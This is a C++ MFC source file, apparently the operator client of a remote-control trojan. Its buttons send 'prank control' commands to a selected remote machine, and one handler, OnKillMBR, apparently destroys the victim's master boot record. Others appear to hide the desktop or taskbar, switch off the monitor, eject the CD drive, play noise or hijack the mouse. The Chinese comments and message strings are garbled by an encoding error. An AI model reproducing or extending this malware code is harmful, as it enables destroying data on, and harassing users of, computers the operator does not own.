2024-06-23 17:36:53 +08:00

340 lines
9.9 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Play.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "Play.h"
#include "ClientView.h"
#include "PcView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CPlay
extern CClientView* g_pTabView;
IMPLEMENT_DYNCREATE(CPlay, CFormView)
CPlay::CPlay()
: CFormView(CPlay::IDD)
{
//{{AFX_DATA_INIT(CPlay)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
}
CPlay::~CPlay()
{
}
void CPlay::DoDataExchange(CDataExchange* pDX)
{
CFormView::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CPlay)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CPlay, CFormView)
//{{AFX_MSG_MAP(CPlay)
ON_BN_CLICKED(IDC_YINGPAN, OnKillMBR)
ON_BN_CLICKED(IDC_ZHUOMIAN1, OnZhuoMian1)
ON_BN_CLICKED(IDC_ZHUOMIAN2, OnZhuoMian2)
ON_BN_CLICKED(IDC_RENWULAN1, OnRenWuLan1)
ON_BN_CLICKED(IDC_RENWULAN2, OnRenWuLan2)
ON_BN_CLICKED(IDC_XIANSHIQI1, OnXianShiQi1)
ON_BN_CLICKED(IDC_XIANSHIQI2, OnXianShiQi2)
ON_BN_CLICKED(IDC_GUANGQU1, OnGuangQu1)
ON_BN_CLICKED(IDC_GUANGQU2, OnGuangQu2)
ON_BN_CLICKED(IDC_ZAOYIN, OnZaoYin)
ON_BN_CLICKED(IDC_SHANPING, OnShanPing)
ON_BN_CLICKED(IDC_MOUSE1, OnMouse1)
ON_BN_CLICKED(IDC_MOUSE2, OnMouse2)
ON_BN_CLICKED(IDC_FTP, OnFTPServer)
ON_BN_CLICKED(IDC_HFS, OnHFSServer)
ON_BN_CLICKED(IDC_JSQ, OnButton1)
ON_BN_CLICKED(IDC_CMD, OnButton2)
ON_BN_CLICKED(IDC_JSB, OnButton3)
ON_BN_CLICKED(IDC_jtgj, OnButton4)
ON_BN_CLICKED(IDC_BUTTON5, OnButton5)
ON_BN_CLICKED(IDC_BUTTON6, OnButton6)
ON_BN_CLICKED(IDC_BUTTON7, OnButton7)
ON_BN_CLICKED(IDC_BUTTON8, OnButton8)
ON_BN_CLICKED(IDC_BUTTON9, OnButton9)
ON_BN_CLICKED(IDC_BUTTON10, OnButton10)
ON_BN_CLICKED(IDC_BUTTON11, OnButton11)
ON_BN_CLICKED(IDC_BUTTON12, OnButton12)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CPlay diagnostics
#ifdef _DEBUG
void CPlay::AssertValid() const
{
CFormView::AssertValid();
}
void CPlay::Dump(CDumpContext& dc) const
{
CFormView::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CPlay message handlers
void CPlay::OnKillMBR()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
if (MessageBox("Ӳ<EFBFBD>̼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO|MB_ICONWARNING) == IDNO)
return;
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_KILLMBR;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnZhuoMian1()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_ZHUOMIAN1;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnZhuoMian2()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_ZHUOMIAN2;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnRenWuLan1()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_RENWULAN1;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnRenWuLan2()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_RENWULAN2;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnXianShiQi1()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_XIANSHIQI1;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnXianShiQi2()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_XIANSHIQI2;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnGuangQu1()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_GUANGQU1;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnGuangQu2()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_GUANGQU2;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnZaoYin()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_ZAOYIN;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnShanPing()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_SHANPIN;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnMouse1()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_MOUSE1;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnMouse2()
{
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
// TODO: Add your control notification handler code here
BYTE lpPacket[2];
lpPacket[0] = COMMAND_PRANK_CONTROL;
lpPacket[1] = COMMAND_MOUSE2;
pView->SendSelectCommand((LPBYTE)&lpPacket, sizeof(lpPacket));
}
void CPlay::OnFTPServer()
{
// TODO: Add your control notification handler code here
char szFilePath[MAX_PATH]={NULL};
strcat(szFilePath,((CClientApp *)AfxGetApp())->AppPath);
strcat(szFilePath,"\\Plugins\\FTPServer.exe");
if(INVALID_FILE_ATTRIBUTES==GetFileAttributes(szFilePath))
{
MessageBox("FTPServer.exe<78>ļ<EFBFBD><C4BC><EFBFBD>ʧ<EFBFBD><CAA7><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>FTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",MB_ICONWARNING);
return;
}
ShellExecute(NULL,"open",szFilePath,NULL,NULL,SW_SHOW); //<2F>򿪳<EFBFBD><F2BFAAB3><EFBFBD>
}
void CPlay::OnHFSServer()
{
// TODO: Add your control notification handler code here
char szFilePath[MAX_PATH]={NULL};
strcat(szFilePath,((CClientApp *)AfxGetApp())->AppPath);
strcat(szFilePath,"\\Plugins\\HFS.exe");
if(INVALID_FILE_ATTRIBUTES==GetFileAttributes(szFilePath))
{
MessageBox("hfs.exe<78>ļ<EFBFBD><C4BC><EFBFBD>ʧ<EFBFBD><CAA7><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>hfs<66><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",MB_ICONWARNING);
return;
}
ShellExecute(NULL,"open",szFilePath,NULL,NULL,SW_SHOW); //<2F>򿪳<EFBFBD><F2BFAAB3><EFBFBD>
}
void CPlay::OnButton1() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","calc.exe",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton2() //CMD
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","cmd.exe",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton3() //<2F><><EFBFBD>±<EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(0, NULL,"notepad.exe",NULL,NULL, SW_SHOW);
}
void CPlay::OnButton4() //<2F><>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","snippingtool.exe",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton5() //ע<><D7A2><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","regedit.exe",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton6() //Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","mstsc.exe",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton7() //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,NULL,"secpol.msc",NULL,NULL,5);
}
void CPlay::OnButton8() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","gpedit.msc",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton9() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","compmgmt.msc",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton10() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","services.msc",NULL,NULL,SW_SHOW);
}
void CPlay::OnButton11() //<2F>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(0, NULL,"eventvwr.msc",NULL,NULL, SW_SHOW);
}
void CPlay::OnButton12() //<2F><><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD>
{
// TODO: Add your control notification handler code here
ShellExecute(NULL,"open","taskschd.msc",NULL,NULL,SW_SHOW);
}